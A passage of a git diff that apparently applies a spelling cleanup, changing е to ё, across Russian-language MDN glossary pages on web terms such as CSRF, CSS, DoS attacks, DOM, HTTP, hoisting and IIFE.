и инъекции данных.</p> <p>Реализация основана на заголовке {{Glossary ("HTTP")}} с именем {{HTTPHeader("Content-Security-Policy")}}.</p> diff --git a/files/ru/glossary/csrf/index.html b/files/ru/glossary/csrf/index.html index c6776098da..db94e2d834 100644 --- a/files/ru/glossary/csrf/index.html +++ b/files/ru/glossary/csrf/index.html @@ -4,7 +4,7 @@ slug: Glossary/CSRF translation_of: Glossary/CSRF original_slug: Словарь/CSRF --- -<p><strong>CSRF</strong> (Cross-Site Request Forgery, рус. "Межсайтовая подделка запроса") - вид атаки, при которой вражеский сайт выдает себя за доверенного пользователя и отсылает на сайт нежелательные команды. Это может быть сделано, к примеру, с помощью отправки параметров в {{glossary("URL")}} в конце ссылки с целью перехода куда-либо в другое место.</p> +<p><strong>CSRF</strong> (Cross-Site Request Forgery, рус. "Межсайтовая подделка запроса") - вид атаки, при которой вражеский сайт выдаёт себя за доверенного пользователя и отсылает на сайт нежелательные команды. Это может быть сделано, к примеру, с помощью отправки параметров в {{glossary("URL")}} в конце ссылки с целью перехода куда-либо в другое место.</p> <h2 id="Learn_more">Learn more</h2> diff --git a/files/ru/glossary/css/index.html b/files/ru/glossary/css/index.html index 393f03fda6..860083f19d 100644 --- a/files/ru/glossary/css/index.html +++ b/files/ru/glossary/css/index.html @@ -10,9 +10,9 @@ original_slug: Словарь/CSS --- <p><span class="seoSummary"><strong>CSS</strong> (Cascading Style Sheets, или каскадные таблицы стилей) - это декларативный язык, который отвечает за то, как страницы выглядят в {{glossary("browser","веб браузере")}}. </span>CSS стили содержат свойства и их значения, которые и определяют, как будет выглядеть сайт.</p> -<p>CSS одна из ключевых Web технологий, наряду с {{Glossary("HTML")}} и {{Glossary("JavaScript")}}. Как правило CSS используется для определения стилей {{Glossary("Element","HTML элементов")}}, но также может быть применен совместно с другими языками разметки, такими как {{Glossary("SVG")}} или {{Glossary("XML")}}.</p> +<p>CSS одна из ключевых Web технологий, наряду с {{Glossary("HTML")}} и {{Glossary("JavaScript")}}. Как правило CSS используется для определения стилей {{Glossary("Element","HTML элементов")}}, но также может быть применён совместно с другими языками разметки, такими как {{Glossary("SVG")}} или {{Glossary("XML")}}.</p> -<p>CSS правило состоит из {{Glossary("selector","селектора")}} и набора {{Glossary("CSS Property","свойств")}} с их значениями. В этом примере все HTML параграфы будут иметь текст желтого цвета на черном фоне:</p> +<p>CSS правило состоит из {{Glossary("selector","селектора")}} и набора {{Glossary("CSS Property","свойств")}} с их значениями. В этом примере все HTML параграфы будут иметь текст жёлтого цвета на чёрном фоне:</p> <pre class="brush: css notranslate">/* Селектор "p" означает, что данное правило будет применено ко всем параграфам в документе */ p { diff --git a/files/ru/glossary/decryption/index.html b/files/ru/glossary/decryption/index.html index 2e8da37c07..d97e82bba7 100644 --- a/files/ru/glossary/decryption/index.html +++ b/files/ru/glossary/decryption/index.html @@ -6,13 +6,13 @@ original_slug: Словарь/Дешифрование --- <p>В {{glossary("cryptography")}}, <strong>дешифрование</strong><strong> </strong>это конвертация {{glossary("ciphertext")}} в {{glossary("cleartext")}}.</p> -<p>Расшифровка это криптографическая основа: это трансформация кодированного текста в простой текст при помощи криптографического алгоритма под названием {{glossary("cipher")}}. Шифрование, как и дешифрование в современных способах кодирования осуществляется благодаря определенному алгоритму и секретному элементу: {{glossary("key")}}. Если алгоритм обычно доступен публично, то по соображениям безопасности, ключ должен оставаться в тайне.</p> +<p>Расшифровка это криптографическая основа: это трансформация кодированного текста в простой текст при помощи криптографического алгоритма под названием {{glossary("cipher")}}. Шифрование, как и дешифрование в современных способах кодирования осуществляется благодаря определённому алгоритму и секретному элементу: {{glossary("key")}}. Если алгоритм обычно доступен публично, то по соображениям безопасности, ключ должен оставаться в тайне.</p> <p> </p> <p><img alt="The decryption primitive." src="https://mdn.mozillademos.org/files/9817/Decryption.png" style="height: 81px; width: 485px;"></p> -<p>Дешифрование это обратный процесс {{glossary("encryption")}} и если ключ остается в тайне, дешифрование становиться математически сложным. Степень сложности зависит от уровня безопасности действующих криптографических алгоритмов и эволюционирует с развитием {{glossary("cryptanalysis")}}.</p> +<p>Дешифрование это обратный процесс {{glossary("encryption")}} и если ключ остаётся в тайне, дешифрование становиться математически сложным. Степень сложности зависит от уровня безопасности действующих криптографических алгоритмов и эволюционирует с развитием {{glossary("cryptanalysis")}}.</p> <h2 id="Подробнее">Подробнее</h2> diff --git a/files/ru/glossary/developer_tools/index.html b/files/ru/glossary/developer_tools/index.html index e27a125770..4b471c5d68 100644 --- a/files/ru/glossary/developer_tools/index.html +++ b/files/ru/glossary/developer_tools/index.html @@ -7,7 +7,7 @@ tags: translation_of: Glossary/Developer_Tools original_slug: Словарь/Инструменты_разработчика --- -<p>Инструменты разработчика (от англ. "development tools" или сокращенно "DevTools") - это программы, которые позволяют создавать, тестировать и отлаживать ({{Glossary("debug")}}) программное обеспечение.</p> +<p>Инструменты разработчика (от англ. "development tools" или сокращённо "DevTools") - это программы, которые позволяют создавать, тестировать и отлаживать ({{Glossary("debug")}}) программное обеспечение.</p> <p>Современные браузеры имеют встроенные инструменты разработчика, позволяющие просмотреть исходный код сайта. С их помощью можно просматривать и отлаживать {{Glossary("HTML")}} сайта, его {{Glossary("CSS")}} и {{Glossary("JavaScript")}}. Также можно проверить сетевой трафик, потребляемый сайтом, его быстродействие и много других параметров.</p> diff --git a/files/ru/glossary/dom/index.html b/files/ru/glossary/dom/index.html index e6296a10b4..e866b56f26 100644 --- a/files/ru/glossary/dom/index.html +++ b/files/ru/glossary/dom/index.html @@ -10,7 +10,7 @@ original_slug: Словарь/DOM <p>DOM это самый используемый {{Glossary("API")}} в {{glossary("World Wide Web","Web")}} потому, что он даёт коду запущенному в браузере доступ и взаимодействие с каждым узлом в документе. Узлы могут быть созданы, перемещены и изменены. Обработчики событий могут быть добавлены к узлам и срабатывают при наступлении данного события.</p> -<p>DOM не был определен изначально — он пришел когда браузеры начали реализовывать поддержку {{Glossary("JavaScript")}}. Этот унаследованный DOM иногда называют DOM 0. Сегодня, W3C руководит процессом спецификации DOM, и DOM Working Group в настоящее время подготавливают 4-ую версию.</p> +<p>DOM не был определён изначально — он пришёл когда браузеры начали реализовывать поддержку {{Glossary("JavaScript")}}. Этот унаследованный DOM иногда называют DOM 0. Сегодня, W3C руководит процессом спецификации DOM, и DOM Working Group в настоящее время подготавливают 4-ую версию.</p> <h2 id="Узнать_больше">Узнать больше</h2> diff --git a/files/ru/glossary/domain_name/index.html b/files/ru/glossary/domain_name/index.html index 0efde95c0d..ec4f38a9c3 100644 --- a/files/ru/glossary/domain_name/index.html +++ b/files/ru/glossary/domain_name/index.html @@ -12,7 +12,7 @@ tags: translation_of: Glossary/Domain_name original_slug: Словарь/Domain_name --- -<p><span id="result_box" lang="ru"><span>Имя домена является адресом веб-сайта в </span></span> {{Glossary("Internet","интернете")}}. Доменные имена используются в {{Glossary("URL","URLs")}}, чтобы идентифицировать сервер, на котором находится определенная веб-страница. <span id="result_box" lang="ru"><span>Имя домена состоит из иерархической последовательности имен (меток), разделенных точками и заканчивающейся </span></span> {{glossary("TLD","расширением верхнего уровня")}}.</p> +<p><span id="result_box" lang="ru"><span>Имя домена является адресом веб-сайта в </span></span> {{Glossary("Internet","интернете")}}. Доменные имена используются в {{Glossary("URL","URLs")}}, чтобы идентифицировать сервер, на котором находится определённая веб-страница. <span id="result_box" lang="ru"><span>Имя домена состоит из иерархической последовательности имён (меток), разделённых точками и заканчивающейся </span></span> {{glossary("TLD","расширением верхнего уровня")}}.</p> <h2 id="Подробнее">Подробнее</h2> diff --git a/files/ru/glossary/dos_attack/index.html b/files/ru/glossary/dos_attack/index.html index da78b43cb6..96c1cefffb 100644 --- a/files/ru/glossary/dos_attack/index.html +++ b/files/ru/glossary/dos_attack/index.html @@ -6,13 +6,13 @@ original_slug: Словарь/DOS_attack --- <p id="Summary">DoS (отказ в обслуживании) - это сетевая атака, которая препятствует обычному использованию ресурсов {{glossary ('server')}}, нагружая сервер "ложными", "фиктивными" запросами.</p> -<p id="In_Depth">Компьютеры имеют ограниченные ресурсы, например вычислительные мощности(процессорная частота) или размер памяти. Когда они исчерпаны, программа может зависнуть или аварийно завершить работу, делая ее недоступной. DoS-атака состоит из различных методов, позволяющих исчерпать эти ресурсы и сделать сервер или сеть недоступными для обычных пользователей или, по крайней мере, заставить сервер работать медленно</p> +<p id="In_Depth">Компьютеры имеют ограниченные ресурсы, например вычислительные мощности(процессорная частота) или размер памяти. Когда они исчерпаны, программа может зависнуть или аварийно завершить работу, делая её недоступной. DoS-атака состоит из различных методов, позволяющих исчерпать эти ресурсы и сделать сервер или сеть недоступными для обычных пользователей или, по крайней мере, заставить сервер работать медленно</p> -<p>Существуют также распределенные атаки типа «отказ в обслуживании» (DDoS), в которых используется множество серверов-злоумышленников, нацеленных на исчерпания вычислительной мощности атакуемого компьютера.</p> +<p>Существуют также распределённые атаки типа «отказ в обслуживании» (DDoS), в которых используется множество серверов-злоумышленников, нацеленных на исчерпания вычислительной мощности атакуемого компьютера.</p> <h3 id="Типы_DoS_атак">Типы DoS атак</h3> -<p>DoS-атаки - это больше категория, чем определенный вид атак. Вот неполный список типов DoS-атак:</p> +<p>DoS-атаки - это больше категория, чем определённый вид атак. Вот неполный список типов DoS-атак:</p> <ul> <li> Атака пропускной способности</li> diff --git a/files/ru/glossary/encapsulation/index.html b/files/ru/glossary/encapsulation/index.html index 07d2b98deb..35aac0b411 100644 --- a/files/ru/glossary/encapsulation/index.html +++ b/files/ru/glossary/encapsulation/index.html @@ -7,7 +7,7 @@ tags: translation_of: Glossary/Encapsulation original_slug: Словарь/Encapsulation --- -<p><span class="tlid-translation translation" lang="ru"><span title="">Инкапсуляция - это упаковка данных и</span></span> {{glossary("function","functions")}} <span class="tlid-translation translation" lang="ru"><span title="">в один компонент</span></span> (<span class="tlid-translation translation" lang="ru"><span title="">например</span></span>, {{glossary("class")}}) и последующий контроль доступа к этому компоненту, создавая тем самым "черный ящик" из {{glossary("object")}}. По этой причине, <span class="tlid-translation translation" lang="ru"><span title="">пользователю </span></span>необходимо знать только интерфейс этого класса (<span class="tlid-translation translation" lang="ru"><span title="">то есть данные и функции, предоставляемые для взаимодействия с классом</span></span> извне), а не то, как он реализован внутри.</p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Инкапсуляция - это упаковка данных и</span></span> {{glossary("function","functions")}} <span class="tlid-translation translation" lang="ru"><span title="">в один компонент</span></span> (<span class="tlid-translation translation" lang="ru"><span title="">например</span></span>, {{glossary("class")}}) и последующий контроль доступа к этому компоненту, создавая тем самым "чёрный ящик" из {{glossary("object")}}. По этой причине, <span class="tlid-translation translation" lang="ru"><span title="">пользователю </span></span>необходимо знать только интерфейс этого класса (<span class="tlid-translation translation" lang="ru"><span title="">то есть данные и функции, предоставляемые для взаимодействия с классом</span></span> извне), а не то, как он реализован внутри.</p> <h2 id="Изучить_больше">Изучить больше</h2> diff --git a/files/ru/glossary/first_contentful_paint/index.html b/files/ru/glossary/first_contentful_paint/index.html index 65348eaf2a..05d5bd400b 100644 --- a/files/ru/glossary/first_contentful_paint/index.html +++ b/files/ru/glossary/first_contentful_paint/index.html @@ -6,7 +6,7 @@ original_slug: Словарь/First_contentful_paint --- <p><strong>Первое существенное отображение</strong> (англ. First Contentful Paint, FCP) - время, за которое пользователь увидит какое-то содержимое веб-страницы, например, текст или картинку.</p> -<p>Эта метрика показывает, какое время потребуется браузеру для отображения части DOM после того, как пользователь перешел на веб-страницу. Контентом в данном случае считаются любой текст, изображения, не пустой canvas и SVG. Данный показатель не учитывает загрузку контента в iframe, но учитывает текст, шрифт которых еще загружается.</p> +<p>Эта метрика показывает, какое время потребуется браузеру для отображения части DOM после того, как пользователь перешёл на веб-страницу. Контентом в данном случае считаются любой текст, изображения, не пустой canvas и SVG. Данный показатель не учитывает загрузку контента в iframe, но учитывает текст, шрифт которых ещё загружается.</p> <h2 id="См._также">См. также:</h2> diff --git a/files/ru/glossary/forbidden_header_name/index.html b/files/ru/glossary/forbidden_header_name/index.html index 5f5ac71144..666f7dd523 100644 --- a/files/ru/glossary/forbidden_header_name/index.html +++ b/files/ru/glossary/forbidden_header_name/index.html @@ -1,11 +1,11 @@ --- -title: Запрещенное имя заголовка +title: Запрещённое имя заголовка slug: Glossary/Forbidden_header_name tags: - HTTP - Заголовки - Словарь - - запрещенный + - запрещённый translation_of: Glossary/Forbidden_header_name original_slug: Словарь/Forbidden_header_name --- @@ -13,7 +13,7 @@ original_slug: Словарь/Forbidden_header_name <p>Изменение этих заголовков запрещено, потому что пользовательский агент (браузер) удерживает полный контроль над ними. Заголовки, чьи имена начинаются с `<code title="">Sec-</code>`, зарезервированы для создания новых заголовков, безопасных (отделённых) от {{glossary("API","APIs")}}, используемого <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a>, которое даёт разработчику контроль над заголовками. Утверждение также верно и для {{domxref("XMLHttpRequest")}}.</p> -<p>Запрещенные имена заголовков начинаются с <code>Proxy-</code> или <code>Sec-</code>, или содержат следующие имена:</p> +<p>Запрещённые имена заголовков начинаются с <code>Proxy-</code> или <code>Sec-</code>, или содержат следующие имена:</p> <ul class="brief"> <li><code title="">Accept-Charset</code></li> diff --git a/files/ru/glossary/gecko/index.html b/files/ru/glossary/gecko/index.html index 3e6264903f..6f7c89a489 100644 --- a/files/ru/glossary/gecko/index.html +++ b/files/ru/glossary/gecko/index.html @@ -10,7 +10,7 @@ original_slug: Словарь/Gecko --- <p id="Summary"><span class="seoSummary"><strong>Gecko -</strong> это движок обработки и рендеринга макетов веб-страниц, разработанный в рамках Mozilla Project и используемый многими приложениями и устройствами, включая {{glossary("Mozilla Firefox","Firefox")}} и {{glossary("Firefox OS")}}.</span></p> -<p>Веб-{{glossary("browser","браузеры")}} нуждаются в программах, называемых "<span>движками рендеринга</span>" для того, чтобы обрабатывать {{glossary("HTML")}}, {{glossary("CSS")}}, {{glossary("JavaScript")}} и другой встроенный контент (например, картинки) и всё это отрисовать на экране вашего монитора. Кроме того, Gecko создаёт четко-связанные программные {{glossary("API","API")}}, хорошо работающие в любой операционной системе (которая поддерживается Gecko), и это API разработано только для поддержки связанных с основными задачами целей. Это означает, что Gecko включает: сетевой стек, графический стек, рендеринг страниц, виртуальная машина JavaScript и другое.</p> +<p>Веб-{{glossary("browser","браузеры")}} нуждаются в программах, называемых "<span>движками рендеринга</span>" для того, чтобы обрабатывать {{glossary("HTML")}}, {{glossary("CSS")}}, {{glossary("JavaScript")}} и другой встроенный контент (например, картинки) и всё это отрисовать на экране вашего монитора. Кроме того, Gecko создаёт чётко-связанные программные {{glossary("API","API")}}, хорошо работающие в любой операционной системе (которая поддерживается Gecko), и это API разработано только для поддержки связанных с основными задачами целей. Это означает, что Gecko включает: сетевой стек, графический стек, рендеринг страниц, виртуальная машина JavaScript и другое.</p> <p>Поскольку все приложения Firefox OS это веб-приложения, то Firefox OS использует Gecko как среду выполнения приложений.</p> diff --git a/files/ru/glossary/git/index.html b/files/ru/glossary/git/index.html index 5be19f351b..c3de5ac3c0 100644 --- a/files/ru/glossary/git/index.html +++ b/files/ru/glossary/git/index.html @@ -7,7 +7,7 @@ tags: translation_of: Glossary/Git original_slug: Словарь/Git --- -<p><strong>Git</strong> — это свободная с открытым исходным кодом распределённая <em>система управления версиями</em> (от англ. Source Code Management ({{Glossary("SCM", "SCM", 1)}}). Она облегчает написание кода с использованием распределенных команд разработчиков. Ее отличие от предшествующих систем управления версиями — способность выполнять общие операции (ветвление, фиксация изменений, и т.д.) на вашем локальном компьютере, без необходимости изменять главный репозиторий или даже не имея прав на запись в него.</p> +<p><strong>Git</strong> — это свободная с открытым исходным кодом распределённая <em>система управления версиями</em> (от англ. Source Code Management ({{Glossary("SCM", "SCM", 1)}}). Она облегчает написание кода с использованием распределённых команд разработчиков. Её отличие от предшествующих систем управления версиями — способность выполнять общие операции (ветвление, фиксация изменений, и т.д.) на вашем локальном компьютере, без необходимости изменять главный репозиторий или даже не имея прав на запись в него.</p> <h2 id="Узнать_больше">Узнать больше</h2> diff --git a/files/ru/glossary/grid/index.html b/files/ru/glossary/grid/index.html index 57d3b781f4..e070df0968 100644 --- a/files/ru/glossary/grid/index.html +++ b/files/ru/glossary/grid/index.html @@ -10,11 +10,11 @@ original_slug: Словарь/Grid --- <p><em>CSS Гриды (они же сетки или CSS Grid)</em> устанавливаются с помощью значения <code>grid</code> в свойстве <code>display</code>; вы можете определить колонки и строки в сетке с помощью свойств {{cssxref("grid-template-columns")}} и {{cssxref("grid-template-rows")}} соответственно.</p> -<p>Сетка, которую вы создаете, используя эти свойства, является явной сеткой.</p> +<p>Сетка, которую вы создаёте, используя эти свойства, является явной сеткой.</p> <p>If you place content outside of this explicit grid, or if you are relying on auto-placement and the grid algorithm needs to create additional row or column {{glossary("grid tracks", "tracks")}} to hold {{glossary("grid item", "grid items")}}, then extra tracks will be created in the implicit grid. The <em>implicit grid</em> is the grid created automatically due to content being added outside of the tracks defined.</p> -<p>В примере ниже отображена <em>точная сетка</em> из трех колонок и двух рядов. The <em>third</em> row on the grid is an <em>implicit grid</em> row track, formed due to their being more than the six items which fill the explicit tracks.</p> +<p>В примере ниже отображена <em>точная сетка</em> из трёх колонок и двух рядов. The <em>third</em> row on the grid is an <em>implicit grid</em> row track, formed due to their being more than the six items which fill the explicit tracks.</p> <div id="example"> <div class="hidden"> @@ -68,7 +68,7 @@ original_slug: Словарь/Grid <li>{{cssxref("grid-template")}}</li> </ul> -<h3 id="Что_почитать_еще">Что почитать еще</h3> +<h3 id="Что_почитать_ещё">Что почитать ещё</h3> <ul> <li>Руководство по CSS Grid: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Базовые принципы CSS сеток</a></em></li> diff --git a/files/ru/glossary/grid_column/index.html b/files/ru/glossary/grid_column/index.html index 4df08bc996..e86838c1cf 100644 --- a/files/ru/glossary/grid_column/index.html +++ b/files/ru/glossary/grid_column/index.html @@ -7,7 +7,7 @@ tags: translation_of: Glossary/Grid_Column original_slug: Словарь/Grid_Column --- -<p>Столбец сетки (<strong>grid column)</strong> — это вертикальный элемент в <a href="/ru/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>, а также пространство между двумя вертикальными линиями сетки. Он определяется свойством {{cssxref("grid-template-columns")}}, либо в сокращенном виде {{cssxref("grid")}} или {{cssxref("grid-template")}}.</p> +<p>Столбец сетки (<strong>grid column)</strong> — это вертикальный элемент в <a href="/ru/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>, а также пространство между двумя вертикальными линиями сетки. Он определяется свойством {{cssxref("grid-template-columns")}}, либо в сокращённом виде {{cssxref("grid")}} или {{cssxref("grid-template")}}.</p> <p>Кроме того, столбцы могут быть созданы в неявном виде (<em>implicit grid), </em>когда элементы расположены за пределами столбцов, созданных в явно-заданной сетке (<em>explicit grid)</em>. Размер этих столбцов будет подобран автоматически, либо задан с помощью свойства {{cssxref("grid-auto-columns")}}.</p> diff --git a/files/ru/glossary/hash/index.html b/files/ru/glossary/hash/index.html index 8d3822bbc2..3befac8338 100644 --- a/files/ru/glossary/hash/index.html +++ b/files/ru/glossary/hash/index.html @@ -4,7 +4,7 @@ slug: Glossary/hash translation_of: Glossary/hash original_slug: Словарь/хеш --- -<p>Хеш-функция получает на вход текстовое сообщение произвольной длины и выдает хеш фиксированной длины. Как правило, в форме 128-битного "отпечатка пальцев" или "дайджеста сообщения". Хеши очень полезны для {{glossary("криптографии")}} — они обеспечивают целостность передаваемых данных. Это служит основой для {{glossary("HMAC's")}}, которые обеспечивают идентификацию сообщений.</p> +<p>Хеш-функция получает на вход текстовое сообщение произвольной длины и выдаёт хеш фиксированной длины. Как правило, в форме 128-битного "отпечатка пальцев" или "дайджеста сообщения". Хеши очень полезны для {{glossary("криптографии")}} — они обеспечивают целостность передаваемых данных. Это служит основой для {{glossary("HMAC's")}}, которые обеспечивают идентификацию сообщений.</p> <h2 id="Дополнительно">Дополнительно</h2> diff --git a/files/ru/glossary/high-level_programming_language/index.html b/files/ru/glossary/high-level_programming_language/index.html index 60feb993a1..ad0f68f5f6 100644 --- a/files/ru/glossary/high-level_programming_language/index.html +++ b/files/ru/glossary/high-level_programming_language/index.html @@ -6,6 +6,6 @@ tags: translation_of: Glossary/High-level_programming_language original_slug: Словарь/Высокоуровневый_язык_программированияprogramming_language --- -<p>Высокоуровневый язык программирования имеет <strong>существенную абстракцию</strong> от деталей работы компьютера. Он предназначен для простого понимания людьми и поэтому должен быть переведен другим программным обеспечением. В отличие от низкоуровневых языков программирования, он может использовать элементы естественного языка или может автоматизировать (или даже полностью скрыть) важные области вычислительных систем, делая процесс разработки более простым и более понятным по сравнению с языком более низкого уровня. Количество предоставляемой абстракции определяет, насколько "высокоуровневым является" язык программирования.</p> +<p>Высокоуровневый язык программирования имеет <strong>существенную абстракцию</strong> от деталей работы компьютера. Он предназначен для простого понимания людьми и поэтому должен быть переведён другим программным обеспечением. В отличие от низкоуровневых языков программирования, он может использовать элементы естественного языка или может автоматизировать (или даже полностью скрыть) важные области вычислительных систем, делая процесс разработки более простым и более понятным по сравнению с языком более низкого уровня. Количество предоставляемой абстракции определяет, насколько "высокоуровневым является" язык программирования.</p> <p>Идея языка, автоматически переводимого в машинный код, но ближе к человеческой логике, была внедрена в компьютерные науки в 1950-х годах, особенно благодаря работе <strong><a href="https://ru.wikipedia.org/wiki/%D0%91%D1%8D%D0%BA%D1%83%D1%81,_%D0%94%D0%B6%D0%BE%D0%BD">Джона Бэкуса</a> </strong>(IBM), который руководил командой разработавшей первый высокоуровневый язык программирования: Фортран. За это нововведение Бэкус был удостоен премии Тьюринга.</p> diff --git a/files/ru/glossary/hoisting/index.html b/files/ru/glossary/hoisting/index.html index a0f3683ec5..2d18ee5f4d 100644 --- a/files/ru/glossary/hoisting/index.html +++ b/files/ru/glossary/hoisting/index.html @@ -10,7 +10,7 @@ original_slug: Словарь/Поднятие <h3 id="Пример">Пример:</h3> -<p>Одним из преимуществ помещения в память объявлений функций до выполнения кода то, что можно использовать функцию до ее объявления. Например:</p> +<p>Одним из преимуществ помещения в память объявлений функций до выполнения кода то, что можно использовать функцию до её объявления. Например:</p> <pre class="brush: js">function catName(name) { console.log("Мою кошку зовут " + name); @@ -22,7 +22,7 @@ catName("Тигр"); */ </pre> -<p>Предыдущий пример демонстрирует ожидаемый рабочий код. Теперь давайте посмотрим, что происходит, когда мы вызываем функцию в коде до ее объявления:</p> +<p>Предыдущий пример демонстрирует ожидаемый рабочий код. Теперь давайте посмотрим, что происходит, когда мы вызываем функцию в коде до её объявления:</p> <pre class="brush: js">catName("Раиса"); @@ -34,7 +34,7 @@ function catName(name) { */ </pre> -<p>Даже если мы вызываем функцию до ее объявления, код работает. Это происходит благодаря тому, как работает контекст выполнения в JavaScript.</p> +<p>Даже если мы вызываем функцию до её объявления, код работает. Это происходит благодаря тому, как работает контекст выполнения в JavaScript.</p> <p> </p> @@ -50,7 +50,7 @@ var num; </pre> -<p>JavaScript "поднимает" только объявление, но не инициализацию. Если вы используете переменную, объявленную и проинициализированную после ее использования, то значение будет <code>undefined</code>. Два примера ниже демонстрируют это поведение.<br> +<p>JavaScript "поднимает" только объявление, но не инициализацию. Если вы используете переменную, объявленную и проинициализированную после её использования, то значение будет <code>undefined</code>. Два примера ниже демонстрируют это поведение.<br> </p> <pre>var x = 1; // Инициализируем x diff --git a/files/ru/glossary/host/index.html b/files/ru/glossary/host/index.html index 06ad19cdd1..9d2ae18f70 100644 --- a/files/ru/glossary/host/index.html +++ b/files/ru/glossary/host/index.html @@ -10,7 +10,7 @@ tags: translation_of: Glossary/Host original_slug: Словарь/Host --- -<p>Хост - это устройство, подключенное к {{glossary("Internet", "Интернет")}} (или локальной сети). Некоторые хосты, называемые {{glossary("server", "сервер", "серверами")}}, предлагают дополнительные услуги, такие как обслуживание веб-страниц или хранение файлов и электронных писем.</p> +<p>Хост - это устройство, подключённое к {{glossary("Internet", "Интернет")}} (или локальной сети). Некоторые хосты, называемые {{glossary("server", "сервер", "серверами")}}, предлагают дополнительные услуги, такие как обслуживание веб-страниц или хранение файлов и электронных писем.</p> <h2 id="Подробнее">Подробнее</h2> diff --git a/files/ru/glossary/html/index.html b/files/ru/glossary/html/index.html index 90f80103c8..b5d4b0755c 100644 --- a/files/ru/glossary/html/index.html +++ b/files/ru/glossary/html/index.html @@ -11,13 +11,13 @@ original_slug: Словарь/HTML <h2 id="Краткая_история">Краткая история</h2> -<p>В 1990 году, как часть видения о {{glossary("World Wide Web","Вебе")}}, Тим Бернс-Ли определил понятие {{glossary("Hypertext","гипертекста")}}, которое он оформил с помощью разметки, главным образом основанной на приложении <a href="/ru/docs/Словарь/SGML">SGML</a>. Группа {{glossary("IETF")}} начала формировать спецификацию HTML в 1993, и после нескольких набросков выпустила версию 2.0 в 1995. В 1994 Бернс-Ли основал {{glossary("W3C")}} для развития Веба. В 1996, W3C взяло на себя работу над HTML и опубликовало "HTML 3.2 Recommendation" годом позже. HTML 4.0 был выпущен в 1999 и стал стандартом {{glossary("ISO")}} в 2000.</p> +<p>В 1990 году, как часть видения о {{glossary("World Wide Web","Вебе")}}, Тим Бёрнс-Ли определил понятие {{glossary("Hypertext","гипертекста")}}, которое он оформил с помощью разметки, главным образом основанной на приложении <a href="/ru/docs/Словарь/SGML">SGML</a>. Группа {{glossary("IETF")}} начала формировать спецификацию HTML в 1993, и после нескольких набросков выпустила версию 2.0 в 1995. В 1994 Бёрнс-Ли основал {{glossary("W3C")}} для развития Веба. В 1996, W3C взяло на себя работу над HTML и опубликовало "HTML 3.2 Recommendation" годом позже. HTML 4.0 был выпущен в 1999 и стал стандартом {{glossary("ISO")}} в 2000.</p> <p>В настоящее время, W3C почти забросили работу над HTML в пользу {{glossary("XHTML")}}, что побудило в 2004 году основание независимой группы, названной {{glossary("WHATWG")}}. Благодаря WHATWG, работа над {{glossary("HTML5")}} продолжилась: две организации выпустили первый черновик в 2008 и финальный стандарт в 2014.</p> <h2 id="Концепция_и_синтаксис">Концепция и синтаксис</h2> -<p>Документ HTML - это простой текст, поделенный на {{glossary("element","элементы")}}. Элементы окружены одинаковыми открывающимися и закрывающимися {{glossary("Tag","тегами")}}. Каждый тег начинается и заканчивается с угловых скобок (<code><></code>). Также есть теги, которые созданы не для добавления текста, например {{htmlelement("img")}}.</p> +<p>Документ HTML - это простой текст, поделённый на {{glossary("element","элементы")}}. Элементы окружены одинаковыми открывающимися и закрывающимися {{glossary("Tag","тегами")}}. Каждый тег начинается и заканчивается с угловых скобок (<code><></code>). Также есть теги, которые созданы не для добавления текста, например {{htmlelement("img")}}.</p> <p>Вы можете дополнить HTML теги с помощью {{Glossary("attribute","атрибутов")}}, которые дают дополнительную информацию и затрагивают то, как браузер интерпретирует элемент:</p> diff --git a/files/ru/glossary/http/index.html b/files/ru/glossary/http/index.html index 894a9b4222..2e045fe006 100644 --- a/files/ru/glossary/http/index.html +++ b/files/ru/glossary/http/index.html @@ -12,7 +12,7 @@ original_slug: Словарь/HTTP --- <p><span class="tlid-translation translation" lang="ru"><span title="">Протокол передачи гипертекста (HTTP) является базовым сетевым </span></span>{{glossary("protocol")}}<span class="tlid-translation translation" lang="ru"><span title="">, который позволяет передавать гипермедиа документы в </span></span>{{glossary("World Wide Web","Web")}}<span class="tlid-translation translation" lang="ru"><span title="">, обычно между браузером и сервером, таким образом, что бы люди могли их читать.</span> <span title="">Текущая версия спецификации HTTP называется <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/HTTP_2">HTTP/2</a>.</span><br> <br> - <span title="">Как часть URI, «http://» называется «</span></span>schema<span class="tlid-translation translation" lang="ru"><span title="">» и обычно стоит в начале адреса, например, в «https://developer.mozilla.org», чтобы указать браузеру запросить</span> <span title="">документ с использованием протокола HTTP.</span> <span title="">Https в этом случае относится к защищенной версии протокола HTTP, </span></span>{{glossary("SSL")}}<span class="tlid-translation translation" lang="ru"><span title=""> (также называемый TLS).</span><br> + <span title="">Как часть URI, «http://» называется «</span></span>schema<span class="tlid-translation translation" lang="ru"><span title="">» и обычно стоит в начале адреса, например, в «https://developer.mozilla.org», чтобы указать браузеру запросить</span> <span title="">документ с использованием протокола HTTP.</span> <span title="">Https в этом случае относится к защищённой версии протокола HTTP, </span></span>{{glossary("SSL")}}<span class="tlid-translation translation" lang="ru"><span title=""> (также называемый TLS).</span><br> <br> <span title="">HTTP является текстовым (все сообщения осуществляются в виде простого текста), без запоминания состояния (нет информации о предыдущих сообщениях).</span> <span title="">Это свойство делает его идеальным для чтения людьми документов (веб-сайтов) во всемирной паутине.</span> <span title="">Однако HTTP также можно использовать в качестве основы веб-сервисов REST для передачи сообщений от сервера к серверу или запросов AJAX на веб-сайтах, чтобы сделать их более динамичными.</span></span></p> diff --git a/files/ru/glossary/iife/index.html b/files/ru/glossary/iife/index.html index 88496f4294..c8a8c3be51 100644 --- a/files/ru/glossary/iife/index.html +++ b/files/ru/glossary/iife/index.html @@ -17,15 +17,15 @@ original_slug: Словарь/IIFE statements })();</code></pre> -<p>Это тип выражений, также известный как {{glossary("Self-Executing Anonymous Function")}}, который состоит из двух основных частей. Первая - это сама анонимная функция с лексической областью видимости, заключенным внутри {{jsxref("Operators/Grouping", "Оператора группировки")}} <code>()</code>. Благодаря этому переменные IIFE замыкаются в его пределах, и глобальная область видимости ими не засоряется.</p> +<p>Это тип выражений, также известный как {{glossary("Self-Executing Anonymous Function")}}, который состоит из двух основных частей. Первая - это сама анонимная функция с лексической областью видимости, заключённым внутри {{jsxref("Operators/Grouping", "Оператора группировки")}} <code>()</code>. Благодаря этому переменные IIFE 